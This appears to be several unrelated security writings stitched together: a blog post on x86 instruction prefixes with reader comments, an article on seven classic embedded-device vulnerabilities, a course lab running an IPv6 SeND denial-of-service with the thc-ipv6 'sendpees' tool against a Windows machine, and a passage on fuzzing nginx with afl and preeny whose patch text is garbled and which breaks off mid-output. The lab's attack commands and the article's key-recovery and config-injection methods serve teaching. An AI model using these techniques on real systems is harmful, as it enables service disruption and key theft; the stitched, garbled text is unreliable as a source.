The intel manual says "it is only useful to include up to one prefix code from
each of the four groups". This means that an instruction like the one below
shouldn't "be useful", since the lock and the rep prefixes are both from the
same group:

[code]

    lock rep add dword ptr[eax],eax
    
[/code]

Windbg seems to think that it's not only "not useful", but invalid as well
\(f0 = lock, f3 = rep\):

[code]

    01011a3f f0              ???
    01011a40 f30100          rep add dword ptr [eax],eax
    
[/code]

Also, some of the prefixes are supposed to only be used with certain
instructions. If they are used with other instructions, the behavior is
undefined. For example, the branch prefixes \(3e and 2e\) are only supposed to
be applied to the Jcc instructions \(conditional jmps\). Applying them to
other instructions should yield unexpected behavior.  
  
Below are some examples of the affects prefixes have on instructions:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 59     |       |     |          |          | pop ecx
               66 | 59     |       |     |          |          | pop cx
             f366 | 59     |       |     |          |          | rep pop cx
             f266 | 59     |       |     |          |          | repne pop cx
           f22e66 | 59     |       |     |          |          | repne pop cx
                  |        |       |     |          |          |
                  | 8b     | 03    |     |          |          | mov eax,dword ptr [ebx]
               67 | 8b     | 03    |     |          |          | mov eax,dword ptr [bp+di]
             6667 | 8b     | 03    |     |          |          | mov ax,word ptr [bp+di]
             663e | 8b     | 03    |     |          |          | mov ax,word ptr ds:[ebx]
                  |        |       |     |          |          |
                  | 01     | 00    |     |          |          | add dword ptr[eax],eax
               f0 | 01     | 00    |     |          |          | lock add dword ptr[eax],eax
    
[/code]

### opcode

[code]

    +----------+--------+--------+-----+--------------+-----------+
    | prefixes | opcode | modR/M | sib | displacement | immediate |
    +----------+--------+--------+-----+--------------+-----------+
    
[/code]

An opcode is the core of an instruction. Everything else is supplementary to
it. An opcode can be up to four bytes long, and might include a mandatory
prefix.  
  
Each opcode determines how its operands are encoded. For example, an opcode
might use the modR/M byte, modR/M and sib bytes, or modR/M byte and
displacement,

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 8b     | 03    |     |          |          | mov eax,dword ptr[ebx]
                  | 8b     | 04    | bb  |          |          | mov eax,dword ptr[ebx+edi*4]
                  | 8b     | 83    |     | 10203040 |          | mov eax,dword ptr[ebx+40302010]
    
[/code]

an immediate value,

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | b8     |       |     |          | aabbccdd | mov eax,ddccbbaa
    
[/code]

or add a register index to the opcode:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm         
    --------------+--------+-------+-----+----------+----------+--------
                  | 58     |       |     |          |          | pop eax   eax = 00
                  | 59     |       |     |          |          | pop ecx   ecx = 01
                  | 5a     |       |     |          |          | pop edx   edx = 02
                  | 5b     |       |     |          |          | pop ebx   ebx = 03
                  | 5c     |       |     |          |          | pop esp   esp = 04
                  | 5d     |       |     |          |          | pop ebp   ebp = 05
                  | 5e     |       |     |          |          | pop esi   esi = 06
                  | 5f     |       |     |          |          | pop edi   edi = 07
    
[/code]

### modR/M

[code]

    +----------+--------+--------+-----+--------------+-----------+
    | prefixes | opcode | modR/M | sib | displacement | immediate |
    +----------+--------+--------+-----+--------------+-----------+
    
[/code]

The modR/M byte is made up of three parts:

[code]

      0   1   2   3   4   5   6   7   
    +---+---+---+---+---+---+---+---+
    |  mod  |reg/opcode |    r/m    |
    +-------+-----------+-----------+
    
[/code]

The modR/M byte uses either a 16-bit or 32-bit addressing mode. The 0x67
prefix \(operand size override\) switches the addressing mode from 32 to 16
bit.  
  
Depending on the value of the r/m part of the modR/M byte, the sib byte
\(32-bit addressing mode only\) or a displacement \(16 or 32\) may also be
required. Also, if there is no second operand, the reg/opcode part may be used
as an opcode extension.  
  
There are two tables that define the meaning of the modR/M byte, one for each
addressing mode:  
  

<img src='img/16_bit_addressing_modRM.png' alt='16-bit Addressing Mode' />
<img src='img/32_bit_addressing_modRM.png' alt='32-bit Addressing Mode' />  
\(tables from Intel® 64 and IA-32 Architectures Software Developer's Manual:
Volume 2A: Instruction Set Reference, A-M pages 2-6 and 2-7\)

  
Below are examples of different ways the modR/M byte might be used:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 8b     | 03    |     |          |          | mov eax,dword ptr [ebx]
                  | 8b     | 05    |     |aabbccdd  |          | mov eax,dword ptr ds:[ddccbbaa]
                  | 8b     | 41    |     |   10     |          | mov eax,dword ptr[ecx+10]
                  |        |       |     |          |          |
               67 | 8b     | 03    |     |          |          | mov eax, dword ptr[bp+di]
               67 | 8b     | 05    |     |          |          | mov eax, dword ptr[di]
               67 | 8b     | 0c    |     |          |          | mov ecx, dword ptr[si]
               67 | 8b     | 41    |     |   10     |          | mov eax, dword ptr[bx+di+10]
               67 | 8b     | 81    |     |  1010    |          | mov eax, dword ptr[bx+di+1010]
    
[/code]

### sib

[code]

    +----------+--------+--------+-----+--------------+-----------+
    | prefixes | opcode | modR/M | sib | displacement | immediate |
    +----------+--------+--------+-----+--------------+-----------+
    
[/code]

The sib byte is only required when the "Effective Address" column in the
32-bit modR/M table has a value that looks like

[code]

    [--][--]
    
[/code]

The sib byte has three parts:

[code]

      0   1   2   3   4   5   6   7   
    +---+---+---+---+---+---+---+---+
    | scale |   index   |   base    |
    +-------+-----------+-----------+
    
[/code]

This byte is used to make instructions behave like this:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 8b     | 1c    | 83  |          |          | mov ebx,dword ptr[ebx+eax*4]
                                                                                    |   |   \----> scale
                                                                                    |   |
                                                                                    |   \----> index
                                                                                    |
                                                                                    \----> base
    
[/code]

The sib byte's meaning is defined by the table below:  
  

<img src='img/sib_byte.png' alt='16-bit Addressing Mode' />  
\(table is from Intel® 64 and IA-32 Architectures Software Developer's Manual:
Volume 2A: Instruction Set Reference, A-M page 2-8\)

  
Some examples on using the sib byte are below:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 8b     | 1c    | 03  |          |          | mov ebx,dword ptr[ebx+eax]
                  | 8b     | 1c    | 43  |          |          | mov ebx,dword ptr[ebx+eax*2]
                  | 8b     | 1c    | 83  |          |          | mov ebx,dword ptr[ebx+eax*4]
                  | 8b     | 1c    | c3  |          |          | mov ebx,dword ptr[ebx+eax*8]
                  |        |       |     |          |          |
                  | 8b     | 1c    | 23  |          |          | mov ebx,dword ptr[ebx]
                  | 8b     | 1c    | 63  |          |          | mov ebx,dword ptr[ebx]
                  | 8b     | 1c    | a3  |          |          | mov ebx,dword ptr[ebx]
                  | 8b     | 1c    | e3  |          |          | mov ebx,dword ptr[ebx]
    
[/code]

### immediate

[code]

    +----------+--------+--------+-----+--------------+-----------+
    | prefixes | opcode | modR/M | sib | displacement | immediate |
    +----------+--------+--------+-----+--------------+-----------+
    
[/code]

The immediate value of an instruction is very simple, so a few examples should
suffice:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 04     |       |     |          |       aa | add al,aa
               66 | 05     |       |     |          |     aaaa | add ax,aaaa
                  | 05     |       |     |          | aaaaaaaa | add eax,aaaaaaaa
    
[/code]

  

### multiple representations

  
Now it's time for the good stuff :^\)  
  

### playing fair with modR/M

  
If you take another look at the 16 and 32-bit modR/M tables, you'll notice
that when the mod part is 0x3 \(binary 11\), the operand is not dereferenced.
This can be used to create another representation of an instruction:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 5a     |       |     |          |          | pop edx
                  | 8f     | c2    |     |          |          | pop edx
    
[/code]

### playing fair with sib

  
In the sib table, you'll notice that whenever the index part is 0x4 \(100
binary\), that a scaled index isn't used. This can also let us make multiple
representations of an instruction:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 8b     | 00    |     |          |          | mov eax,dword ptr[eax]
                  | 8b     | 04    | 20  |          |          | mov eax,dword ptr[eax]
                  | 8b     | 04    | 60  |          |          | mov eax,dword ptr[eax]
                  | 8b     | 04    | a0  |          |          | mov eax,dword ptr[eax]
                  | 8b     | 04    | e0  |          |          | mov eax,dword ptr[eax]
    
[/code]

### being a bully

  
Now is where we start going into undefined territory.  
  
Certain prefixes are only supposed to be used with certain instructions, and
certain prefixes only make sense to be used when certain types of operands are
used. For example, if a modR/M byte isn't used, the 0x67 prefix doesn't do
anything:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
               67 | 58     |       |     |          |          | pop eax
    
[/code]

The 0x67 prefix isn't the only one that falls into this category. The 0x2e and
0x3e \(branch taken/not taken\) prefixes are also intended only to be used
with Jcc instructions. If they are used with another type of instruction, what
happens? You guessed it, nothing:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
               2e | 58     |       |     |          |          | pop eax
               3e | 58     |       |     |          |          | pop eax
    
[/code]

There is a caveat to using 0x2e and 0x3e as "nop" prefixes. If the instruction
dereferences something, then the 0x2e or 0x3e prefix will then be used as a CS
or DS segment override:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
                  | 8b     | 00    |     |          |          | mov eax,dword ptr[eax]
               2e | 8b     | 00    |     |          |          | mov eax,dword ptr cs:[eax]
               3e | 8b     | 00    |     |          |          | mov eax,dword ptr ds:[eax]
    
[/code]

One other prefix that can potentially be useful is the lock prefix \(0xf0\).
The lock prefix can only be used with the add, adc, and, btc, btr, bts,
cmpxchg, cmpxch8b, dec, inc, neg, not, or, sbb, sub, xor, xadd, and xchg
opcodes, and then **only if** the dest operand is modifying memory. What does
it do though? According to Intel, the lock prefix "forces an operation that
ensures exclusive use of shared memory in a multiprocessor environment".
Besides the restrictions on which instructions and types of operands it can be
used with, the lock prefix can also be used to create another representation
of an instruction.  
  

### being a bully\*4

  
Earlier in this post I mentioned that up to four prefixes are allowed on an
instruction, and that they can be in any order. This also applies to the "nop"
prefixes: they can be in any order, but they can also be repeated:

[code]

        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
    --------------+--------+-------+-----+----------+----------+--------
               67 | 58     |       |     |          |          | pop eax
             6767 | 58     |       |     |          |          | pop eax
           676767 | 58     |       |     |          |          | pop eax
         67676767 | 58     |       |     |          |          | pop eax
               67 | 58     |       |     |          |          | pop eax
             6766 | 58     |       |     |          |          | pop ax
           673e67 | 58     |       |     |          |          | pop eax
         3e66672e | 58     |       |     |          |          | pop ax
    
[/code]

If you take a look at this in windbg, you'll notice that it doesn't know how
to disassemble the instruction. I'm assuming this is because windbg thinks
that only one unique prefix is allowed per instruction:

[code]

    0100c38c 67              ???
    0100c38d 67              ???
    0100c38e 67              ???
    0100c38f 6758            pop     eax
    
[/code]

Even though windbg doesn't know how to disassemble it \(haven't tested olly or
ida yet or other debuggers\), the instruction still executes just fine. This
also goes for the lock+rep prefix combination example that I used earlier.  
  

### being a bully\*14

  
Being a bully times 14? No way, you say. YES WAY. I decided to test the "rule"
about having only four prefixes. It's a lie\! In my testing, I was able to add
up to fourteen prefixes before I started getting errors. Below are some
examples:

[code]

                        prefixes  | opcode | modRM | sib |   disp   |   imm    | disasm
                    --------------+--------+-------+-----+----------+----------+--------
     6767676767676767676767676767 | 58     |       |     |          |          | pop eax
     673e2e673e2e673e2e673e2e6767 | 58     |       |     |          |          | pop eax
     
     windbg disassembly:
     0100c3a2 67              ???
     0100c3a3 67              ???
     0100c3a4 67              ???
     0100c3a5 67              ???
     0100c3a6 67              ???
     0100c3a7 67              ???
     0100c3a8 67              ???
     0100c3a9 67              ???
     0100c3aa 67              ???
     0100c3ab 67              ???
     0100c3ac 67              ???
     0100c3ad 67              ???
     0100c3ae 67              ???
     0100c3af 6758            pop     eax
    
[/code]

I did some additional testing on these extra prefixes, thinking that maybe
anything before the last four prefixes don't get applied and can be any
prefix, regardless of the compatability. It turns out this is not the case.
All of the same rules still apply to all 14 prefixes.  
  
Crazy stuff, huh? The biggest thing I learned from this is to question
everything. I'm not used to having to question my disassembler too much.
That's something I've been able to trust up to this point, at least for
disassembling **_\_one\_instrustion\__**. I almost missed seeing most of this
behavior because the first few times I saw windbg fail to disassemble a single
instruction, I thought it meant that it wouldn't execute. Luckily, I stepped
\(a literal hit-F10-and-execute-the-next-instruction step\) through it anyways
and noticed this behavior.  
  
One other thing to note is that this isn't the first time somebody has run
across the multiple-prefixes behavior. A quick conversation with Mark Dowd
made it apparent that this behavior is pretty well-known, that different
processors may allow even more than 14 prefixes, and that there are major
differences in how emulators and native clients execute instructions.  
  
I have other ideas for some more potentially interesting research in this
area, but this is all for now. Laters.  
  

Posted by d0c.s4vage at 5:01 AM <img src='img/13310_icon18_edit_allbkg.gif'
width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

#### 9 comments:

    
<img src='img/b16-rounded.gif' width='16' height='16' />

chevalier3as said...

    
I haven't yet finished reading the whole article, but just the first lines are
getting me all happy :\)

    April 4, 2011 6:00 AM <img src='img/icon_delete13.gif' />
    
<img src='img/b16-rounded.gif' width='16' height='16' />

Daniel said...

    
Nice post, good job on finding some interesting little tidbits where things
deviate from the expected. I'm with you on reinventing the wheel I usually
learn alot plus it is really fun.

    April 4, 2011 7:34 AM <img src='img/icon_delete13.gif' />
    
<img src='img/13305_blank.gif' width='16' height='16' />

Anonymous said...

    
Hi \!  
  
A small correction :  
  
prefixes | opcode | imm | disasm  
\----------+--------+----------+------------------------  
| 04 | aa | add al,aa  
66 | 05 | aaaa | add ax,aaaa  
| 05 | aaaaaaaa | add **eax** ,aaaaaaaa  
  
  
\--  
Kad

  *[5:01 AM]: 2011-04-04T05:01:00-07:00

# » Almost Secure debugmode

**Created:**| _11/10/2011 3:15:39 PM_  
---|---  
**Updated:**| _11/10/2011 3:15:39 PM_  
**Author:**| __  
**Tags:**| _vulnerability_  
  

# Almost Secure

Vulnerabilities are like good ideas – you’re rarely the first one dealing with
it. Some vulnerabilities are almost classic, so I’ll proudly present: 7 old
but surprisingly useful bugs that might also affect YOUR device.  
  
\(With “you” either being the designer or attacker.\)

Just to be clear: none of these exploits are rocket science. This is kind of
the “low tech” hacking approach – no fancy oscilloscopes required, no DPA
involved, no FIB to rent. There’s not even code to disassemble\!

# 1\. ext2 Symlink Directory Traversal

The first vulnerability is a classic oversight. It applies to many devices
that are accepting a mass-storage device \(for example USB or micro-SD\) and
are somehow exposing the contents of this to the outside world. This includes
WLAN/3G access points with a “file share” ability, NAS and a lot of special
purpose devices. Slightly linux-centric \(but I’m sure it applies to many
other operating systems as well\), these devices usually try to support
multiple filesystems by using the equivalent of the “mount -t auto”,
automatically trying all filesystems from /proc/filesystems when mounting,
until one filesystem handler succeeds in mounting.

While supporting multiple filesystems is normally meant to support FAT, NTFS
and maybe HFS+, most kernels also have ext2/ext3 support compiled in;
sometimes the rootfs of these devices also uses ext2. This means that if you
attach an ext2 formatted storage device, it will be mounted as well. If the
device exposes access to this filesystem, it gives you a lot of toys to play
with: symlinks, device nodes and all the fancy features.

For example, if the device allows you to browse the attached mass storage, a
simple symlink to / might allow you to browse the rootfs:  
`  
lrwxrwxrwx 1 root root 13 Oct 25 09:59 rootfs -> /  
`

Certainly, you’re bound to the permissions of the process that does the access
to the files. However, in embedded devices, designers rarely use user
permissions \(and instead only expose restricted functionality in the
application\), and since they probably never thought about ext2, restricting
permissions and jailing \(chroot etc.\) wasn’t deemed useful. After all, vfat
partitions \(for example\) can’t contain symlinks or useful multi-user
permission bits \(with HFS+ it’s a different story, of course\).

On this particular device, a configuration file was copied on bootup from an
insecure attached mass-storage device to an internal \(but still insecure\)
storage. This allows to place a symlink on the mass-storage device pointing to
any regular file in the root partition. It didn’t allow browsing in the root
file system, but could be used to retrieve regular files \(so no character
devices\) with a known filename.

# 2\. Non-Appropriate Crypto Modes give you a Decryption Oracle

AES \(or any other modern cryptographic standard\) is considered “secure”.
This fact is easy to remember, given that AES is still the recommendation for
newly-designed crypto schemes. However, it’s much harder to understand what
“secure” actually means. For block ciphers, one important property is that
there is, given \(even a large number of\) ciphertext/plaintext pairs, no more
efficient way to recover the key used in the encryption than to do a full
brute-force attack over the key space. \(There are a few other scenarios that
block ciphers need to be “secure” against, but this is the most important
one\).

However, this is not the only property that’s required when encrypting data.
Each usage model has a special requirements, and that’s why there are several
so-called “modes” of operation. The simplest mode is ECB, replacing each
plaintext block with an encrypted version of the block. Explaining why ECB is
not sufficient in most cases is easy. That leads people to think that CBC
would fix all their problems. Hint: It doesn’t.

One thing that apparently people sometimes expect CBC to provide, which it
actually doesn’t provide, is integrity. Decryption without integrity means
that you can replace encrypted content with other encrypted content, and it
will produce the corresponding plaintext \(assuming you can access parts of
the decrypted data\). In CBC, the chaining aspect will screw up the first
block only, and even that can be manually fixed since the ciphertext is known.
If you use AES-CBC for disk encryption, you’ll likely be screwed. The missing
integrity aspect is one reason why proper disk encryption doesn’t use plain
CBC.

Practically speaking, if you use plain CBC \(maybe with a per-sector IV which
doesn’t provide any security advantage\), and the attacker can get the
contents of a random file from your disk \(for example using the symlink
hole\), all the attacker has to guess is the position of that file in the
encrypted disk image. He can then inject arbitrary sectors into this file,
dump the file, and recover plaintext. This might sound painful – and it is –
but if a large-enough file can be found \(that isn’t required to make the
system run up to the point where you can read the file\), you can extract
quite a lot of data per run.

There are cryptographic modes \(like XTS\) which fix these problems. If you
don’t understand the issue, go read why they’ve been invented.

# 3\. Configuration String Sanitizing

Sigh. A general rule-of-thumb: If a parser acts on user-supplied data, and
that parser isn’t exactly made for what the input file looks like \(which
would hopefully imply that the creator thought about security side-effects of
any invalid user-supplied input string\), don’t try to “sanitize” or filter as
a frontend. You’ll miss something. This applies for sanitizing file names
\(think of the popular Unicode directory traversal bugs\), SQL arguments and
especially configuration files.

I’ve seen devices which allow putting an un-encrypted, un-authenticated
configuration file on a user-accessible storage. The configuration file was an
ASCII file with a number of

`key=value\n`

lines. This was then “sanitized” by removing all keys that are not in a
whitelist \(with some bash string parsing foo\), and decorated into the
following format:

`export key=value\n`

The resulting file is then sourced \(“.”\) as part of the init scripts.
Needless to say how this can be exploited, leading to arbitrary code
execution, for example a conveniently powerful busybox console on the serial
port…

Lesson learned: Don’t sanitize and then let another parser do the job. Parse
and sanitize at the same time.

# 4\. /dev/mem

This \(linux-centric\) one is not really a security hole per se. However, it
sometimes allows attackers to “reverse” the boot chain – for example to
retrieve \(parts of\) the bootloader or initrd/initramfs used to boot the
system, by creating a memory snapshot right after booting. This technique for
example was used to retrieve the initrd of the ReadyNAS \(which, back then,
uncovered a nice little backdoor password\).

The device node `/dev/mem` maps the physical address view of the kernel.
Extracting contents can be as simple as using “dd” \(with proper “skip” and
“bs” arguments\). Alternatively, using the mmap system call, any memory
\(including MMIO\) can be mapped into a user process. If /dev/mem is opened
with O\_SYNC, the mapping is cache-inhibited \(on most architectures,
everything above the memory size is cache-inhibited, too\), which allows you
to talk to IO devices.

Reading \(writing, and mmap’ing\) `/dev/mem` requires proper access
permissions and `CAP_RAWIO`.

And really, if there was no `/dev/mem`, you could just load a kernel module
providing the same. Root access on an embedded machine equals device pwnage,
unless great effort was taken \(hint: which is usually not the case\).

Again, the existance of `/dev/mem` isn’t the security hole – the security hole
is allowing the attacker to operate on it. It just makes things much more
convenient.

# 5\. Write-Only Registers with Partial Override allow Key Recovery

This one is a classic as well. Some hardware implements cryptographic
functions \(for example AES decryption\) in hardware. Some hardware designers
cleverly make the registers that are used to configure the key used in the
decryption write only – such as that they can be written with the key, and the
key cannot be read back. The key can then only be used in actual AES
operations.

This sounds clever at first, solving real-world problems – you can’t just dump
the key out of memory. However, as usual, things are not that simple. Almost
no CPUs or busses in embedded systems these days can handle atomic writes to
key-sized \(128 or 256 bit\) registers. That means that a key register won’t
be a single register, but consists of multiple registers that need to be
written sequentially.

As long as they are written strictly sequential and completely, there is no
problem. However, as soon as partial overwrites are allowed, the scheme
breaks. For example, if the CPU can do 32-bit writes, and a 128-bit AES key
consists of 4 registers with 32-bit each, this allows the attacker to modify
the key. By then using the modified key, ciphertext/plaintext pairs can be
generated that have known key bits, allowing a brute-force search on the
remaining bits.

Practically, there are two possible ways to exploit this. Assume it’s a
decrypt oracle \(i.e. the internal key can be used to decrypt arbitrary
ciphertext; it works similarly for non-arbitrary ciphertext or encrypt
oracles\). Now, either

  * Take the reference plaintext by decrypting a constant, for example all-zero. Overwrite as few key material as possible. If the registers honor write masks, you might be able to overwrite as few as 8-bit of the key. If it doesn’t, it might be as much as 32-bit. In any case, simply loop through all of the 28 \(or 232\) combinations, overwrite the key material partially, take a plaintext with the current key, and compare it with the reference. If it matches the reference, then you found a few bits of the key. Rinse, repeat with the rest. 
  * Overwrite as much key material as possible while still leaving a little bit of key material. Take a plaintext for a constant ciphertext. You can then \(offline\) run a brute-force attack on this, which is feasible because you reduced the entropy of the key before. Reboot \(to restore the full key\), Rinse, Repeat

The first method is useful if the write granularity is fine \(for example
8-bit\) – it will then require 16 \* 28=4096 \(worst case\) decryptions on the
device. The second method is useful if the write granularity is larger \(for
example 32-bit\), because the first approach would require 4 \*
232=17179869184 \(worst case\) decryptions on the device, which can take quite
a long time. These decryptions can be done offline and parallelized. A 32-bit
brute force attack on a modern PC doesn’t take more than a few minutes, so
after extracting the 4 possible plaintexts \(keeping the first, second, third,
fourth key word\) the key can be recovered on a PC.

The disadvantage of the second method is that you need to restore the key
material \(for example by rebooting\) before attacking the next key subset.

A similar method can be used \(destructively\) to dump OTP fuses that store a
key, assuming that no redundant encoding is used \(i.e. that you can burn more
OTP bits to set bits in the key\).

  1. Start with the first bit. Take a plaintext. Burn the first fuse, re-sense \(if required, to update the key register\), take another plaintext.
  2. If the plaintext changed, you know that the bit wasn’t set before. If the plaintext did not change, the bit was already set. Note that down. 
  3. Repeat with the next bit.

A somewhat inconvenient method, since it’ll destroy the OTP key \(so you
better be sure that you can still execute code even after the key has been
partially destroyed – otherwise you need up to $keysize devices – which might
still be a useful attack\).

Some devices will not allow you to overwrite arbitrary parts of the key – some
for example start the key schedule only after writing the last part of the
key. However, unless they double-buffer or enforce sequential and complete
access \(which both involves additional state\), this is vulnerable and can be
exploited.

# 6\. Relying on Success

Back in the d-Box 2 days \(German link, sorry\), the boot sequence would by
default load into a GUI that didn’t provide any remote access. However, if the
boot sequence failed, a remote shell daemon would open. This fact could be
abused by short cutting a flash data line in the middle of the boot, causing
the GUI binary to fail, eventually giving RSH access to the system. Then, a
new, modified rootfs could be mounted \(only the kernel was protected with a
signature, the filesystem or any files within wasn’t\), leading to arbitrary
code execution.

The mistake they did was to assume that in a secure environment \(arbitrary
flash editing aside\) everything would boot as expected. While it might be
hard to change data meaningful, it’s often very easy to change data in a non-
meaningful way – i.e. make something fail.

In a particular case, a kernel image was \(securely\) loaded into memory, and
then launched. The problem is that there is no error checking. If the binary
doesn’t load for some reason, the bootloader still tries to boot from that RAM
location, even if it contains garbage. Usually, the bootloader would just
abort with a CRC error.

To turn this denial-of-service attack into something useful, you can just pre-
populate the memory \(assuming you have code execution\), reset the device and
somehow make the load fail. The memory’s content will survive a few seconds
without refresh, so it’ll execute your good code.

# 7\. $USER

Cross-compiling sometimes leaks information from the host system into the
generated binaries \(or files\). One example is the kernel’s
LINUX\_COMPILE\_BY \(that’ll end up in the linux\_banner, which is output when
the kernel starts and can also be read from /proc/version\), but there are
more such examples. If you don’t want people to know who you are \(hey, there
should be no reason for that, right?\), be aware of this fact and better grep
all your binaries \(including your rootfs\) to make sure that nothing leaked.

# Project 13x: IPv6 DoS with sendpees6 \(10 pts.\)

**Created:**| _4/13/2011 7:46:48 AM_  
---|---  
**Updated:**| _4/13/2011 7:46:48 AM_  
**Author:**| __  
**Tags:**| _attacks windows environment ipv6_  
  

# Project 13x: IPv6 DoS with sendpees6 \(10 pts.\)

## Purpose

Untrusted devices on an IPv6 network can send unauthorized packets which spoof
routers and other devices on the network, enabling various man-in-the-middle
and denial-of-service attacks, as we have seen in several other projects. The
planned solution for this problem is Secure Neighbor Discovery \(SeND\) which
assigns each device a Cryptographically Generated Address, rather than using
the MAC address or a random number. The host portion of the IPv6 address \(the
rightmost 64 bits\) then depends on an RSA signature, and each device has its
own private key. So receiving devices can verify that packets came from the
proper source, by performing cryptographic computations.

However, as you might have guessed, this places a burden on the machine
receiving the packets. This DoS attack wastes CPU time on the target by just
sending a lot of signed packets which it must verify. In my tests, it affects
both Ubuntu Linux and Windows 7 similarly.

## What you need

  * A Linux machine, real or virtual, to be the Attacker. I used BackTrack 4 R2. 
  * A Windows machine to be the Target. I used an Windows 7. 
  * You do not need a gogo6 tunnel or any other connection to the real IPv6 Internet. This project will only use an IPv6 LAN. If you have a tunnel set up, you can leave it there, it won't do any harm.

## Windows Target Setup

On the Windows target machine, open a Command Prompt and execute the IPCONFIG
command. Find the IPv6 address and record it.

Right-click the taskbar \(at the bottom of the Windows desktop\) and click
"**Start Task Manager "**. Click the Performance tab so you can see the CPU
usage. It should be near 0%, as shown below on this page.

<img src='img/sendpees1.png' />

## Installing thc-ipv6 on the Linux Attacker

You need the thc-ipv6 attack suite installed on your Linux Attacker. If you
use Backtrack, it's already installed. If you are using Ubuntu, you will need
to install it, as explained here:

http://samsclass.info/ipv6/scan-google.html

## Testing the Networking

On the Linux attacker, in a Terminal window, execute these commands. In the
second command, use your Windows target's IPv6 address instead of the example
shown, and use the correct interface at the end, which may not be eth0.

> `**sudo /etc/init.d/networking start**`
> **cd /pentest/spoofing/thc-ipv6**
> **ping6 -c 4 fe80::887:4229:5f43:81c6%eth0**
You should get replies. If you do not, you need to troubleshoot your
networking. When BackTrack 4 R2 stops networking properly, I have been able to
fix it by running Wireshark, sniffing. The interface seems to work better when
operated in promiscuous mode.

## Attacking the Windows Machine

On the Linux attacker, in a Terminal window, execute this command. \(If you
are on an isolated network, you can just attack the whole network segment with
a multicast address of ff02::1, as shown in the figure.\)

> `**./sendpees eth0 1024 dead:: fe80::887:4229:5f43:81c6**`
You should see the CPU rise on the target machine. It may not go to 100%, but
you should see it rise, as shown below on this page.

<img src='img/sendpees2h.png' />

## Saving a Screen Image

Make sure you can see a CPU increase on the target. If the increase is very
small, and you are sure the network is working, try opening several Terminal
windows on the attacker and running the attack in all of them at once.

Save a screen shot of this image with this filename:

> **Proj 13x from Your Name**
## Turning in Your Project

Email the image to **cnit.124@gmail.com** with a subject line of

> **Proj 13x from Your Name**
## Comparing Windows and Linux

Here is a screen image comparing Windows 7 and Ubuntu Linux undergoing the
same attack. As you can see, they both have similar elevated CPU usage:
Windows is at 40%, and Linux is at 37%.

<img src='img/sendpees3.png' />

## References

For a description of SeND and the CGA, see:  
http://www.cisco.com/en/US/prod/collateral/iosswrel/ps6537/ps6553/white\_paper\_c11-563156.html

# Fuzzing nginx - Hunting vulnerabilities with afl-fuzz

**Created:**| _4/30/2015 10:52:33 AM_  
---|---  
**Updated:**| _4/30/2015 10:52:33 AM_  
**Author:**| __  
**Tags:**| _web-app-sec llvm_  
  

# Fuzzing nginx - Hunting vulnerabilities with afl-fuzz

April 28th, 2015

### No 0day here

If you were looking for it, sorry. As of 48 hours of fuzzing, I’ve got 0
crashes.

### AFL - successful fuzzing

American Fuzzy Lop has a very impressive history of finding vulnerabilities.
The trophy case is gigantic. An ELI5 of the design of the product is: Give it
a program a valid input file, and it will mess with that input file until
using it crashes the example program. My first attempt at using it almost
immediately found a crash situation in lci - Lolcode interpreter.

Unfortunately, successful use against something which is not a command line
application that runs and quits is more difficult.

### Compile and build

Our first step here will be to compile afl. I’m going to assume you can
already do this. When building nginx, I used the following commands:

[code]

    export CC=/path/afl-clang
    ./configure --prefix=/path/nginxinstall --with-select_module
    
[/code]

The use of the prefix is simple - we don’t want to install this as root, as a
proper service, or run it as such. The select module, I’ll get back to. With
nginx built and installed, there are some very helpful config options:

[code]

    master_process off;
    daemon off;
    events {
        worker_connections  1024;
    use select;
    multi_accept off;
    
    }
    
[/code]

By starting your config file like this, nginx will helpfully avoid forking to
background, and start itself at a console where it belongs.

Your first server section should look like this:

[code]

    server {
        listen       <ip>:8020;
        ...
    }
    
[/code]

We do this because:

[code]

    * We want the parser to decide it's happy to run as non-root
    * Without specifying the IP, something doesn't bind properly in our later process.
    
[/code]

### Operate with stdin/stdout

Following the suggested build gets you halfway there, but the remaining
problem is that nginx wants to take input from a network port, not from stdin.
Fortunately, this project exists:

Preeny on Github

Preeny _almost_ solves our issues. I say almost because of two things:

  * Preeny intercepts accept\(\), but, where it exists \(my system\), nginx uses accept4\(\)
  * nginx’s default polling mechanism simply doesn’t recognise connections that have been redirected and never triggers the event loop

For the first of these, I wrote this patch. Given accept\(\) and accept4\(\)
are equivalent enough for our purposes, this patch just pushes accept4\(\) to
the intercepted accept\(\).

[code]

      desock desock
    index b3db7b267ef 100644
     desock
     desock
         accept sockfd struct sockaddr  socklen_t addrlen
             return original_acceptsockfd  addrlen
     
    
     accept4 sockfd struct sockaddr  socklen_t addrlen  flags
    
           acceptsockfd  addrlen
    
    
       sockfd const struct sockaddr  socklen_t addrlen
     
             preeny_socket_threads_to_frontsockfd
[/code]

Again, compile as per the Preeny instructions, I won’t walk you through this.

### Running it

With this in place, you can run nginx from the command line, and have it take
HTTP syntax from stdin.

[code]

    $ LD_PRELOAD"/home/technion/attack/preeny/Linux_x86_64/desock.so "  ./nginx
    --- Emulating on port 8020
    GET / HTTP/1.0
    
    HTTP/1.1  OK
